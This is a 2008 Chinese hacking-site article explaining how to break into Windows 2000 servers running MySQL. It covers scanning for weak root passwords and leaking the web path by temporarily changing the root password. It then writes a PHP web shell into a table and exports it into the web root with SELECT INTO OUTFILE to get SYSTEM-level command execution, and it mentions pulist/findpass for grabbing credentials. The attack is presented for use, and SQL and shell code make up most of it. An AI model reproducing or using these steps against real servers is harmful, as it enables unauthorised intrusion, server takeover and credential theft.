您现在的位置: 骇客基地 >> 黑客文章 >> 黑客攻防 >> 黑客入侵 >> 正文

如何入侵MYSQL+WIN2000
骇客基地 阅读: 时间:2008-3-23 6:37:06 来源:www.hookbase.com
    快速的扫描有空弱密码的主机:

  找了半天发觉还是小榕的流光好用哈.
简单的说一下设置过程:探测-->高级扫描工具-->只要MISC选项卡-->选中其中的猜解MYSQL密码
然后在选项卡中更改用户名/密码文件用户名我认为只要root就够了,流光自带的那个不好哟


  如何简单的利用MYSQL得到网站的实际路径:
一步:看用户得加密HASH
select * from user
因为我们并不知道到底是哪个用户来连接的数据库所以建议你全记下来
不过一般都是root@localhost咯

二步:一个一个的改密码:
set password for root@localhost=password('test')

象上面这样就把root@localhost的密码改成了test
然后我们来观察网页是否出错如果出错的话多半就是提示root@127.0.0.1不能
连接数据库了,这样我们就能看到实际目录了

三步:把密码改回来这儿有人可能要说我们不知道原来的密码是多少怎么改呢
先前我们不是记下了原密码的HASH吗,现在我们再把它写回去不就可以了

update user set password='67457e226a1a15bd' where host='localhost' and user='root'

这时可能有人会说可以写进去怎么不行啊?我们还得强制刷新内存授权表,否则用的还是缓冲中的口令

flush privileges

这时有人又会说用set password ... 改密码时为什么没有刷新呢(我也不知道多半MYSQL自已刷新了吧)


   最快的得到系统管理员权限

第一步:在默认的mysql库中生成一个叫tmp的表只有一个字段名叫cmd数据类型为TEXT(可以不分大小写)
use mysql
create table tmp(cmd TEXT);

第二步:在tmp表cmd字段中写入一段PHP代码(注意这个文件导出后一定要叫cmd2.php)

insert into tmp values('<body onload=document.form1.cmd.focus()><?if
(isset($cmd)){$cmd=stripslashes($cmd);exec(\"$cmd > temp.dat\");}?><style type=\"text/css\"><!\-\- .form1
{BACKGROUND: #FFFFFF; BORDER-BOTTOM: #666666 1px solid; BORDER-LEFT: #666666 1px solid; BORDER-RIGHT: #666666
1px solid; BORDER-TOP: #666666 1px solid; COLOR: #3c464f; FONT-SIZE: 9pt; clip: rect( ); cursor: text; height:
auto; width: auto; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px\-\-></style><p
class=\"title2\">&nbsp;</p><form name=\"form1\" method=\\"post\" action=\"/cmd2.php\"> <input type=\"text\"
name=\"cmd\" size=\"50\" class=\"form1\"></form><form name=\"form2\" method=\"post\" action=\"\"> <p> <textarea
name=\"text\" cols=\"120\" rows=\"50\"
class=\"form1\"><?if(isset($cmd)){readfile(\"temp.dat\");unlink(\"temp.dat\");}?></textarea>
</p></form></body>');

写入到你刚才看到的WEB实际目录中(要注意的问题是直接写到你刚才看到路径中可能并不能直接仿问到cmd2.php
你可以从里到外多试试)
select * from tmp into outfile 'd:\\PATH\\cmd2.php';  

删除tmp表,擦PP咯:)
drop table tmp;

第三步仿问cmd2.php
这时你得到的WEB SEHLL可是SYSTEM权限哟,这和一般的CGI/ASP后门不同
同时在执行这个SHELL时有的程序应该输入绝对路径

TIPS:如何把cmd2.php改名在写入到表中时把
<form name=\"form1\" method=\\"post\" action=\"/cmd2.php\">
改成
<form name=\"form1\" method=\\"post\" action=\"/你想要的名字.php\">
就可以了

另外在这样的环境中pulist/findpass等程序都可以正常执行
今天广告
参与评论:
注意事项:
【如何入侵MYSQL+WIN2000】文章由骇客基地网上搜集,其立场行为并不代表本站。
如果您发现该文章若无意中侵犯到您的权利,请联系我们!
未经本站明确许可,任何网站不得非法盗链及抄袭本站资源;如引用页面,请注明来自本站,谢谢您的支持!
最近更新
最新推荐
     
 
黑客首页 | 服务指南 | 软件发布  | 关于我们 | 本站声明  | 隐私声明 | 诚征英才 | 网站地图 | 友情链接 |
 
 
中国·黑客·骇客·基地 请使用IE6.0版本, 分辩率1024×768进行浏览 www.hookbase.com 站长:利客 Email:hookbase@163.com
Copyright © 2004-2009 All Rights Reserved. 粤ICP备05000985号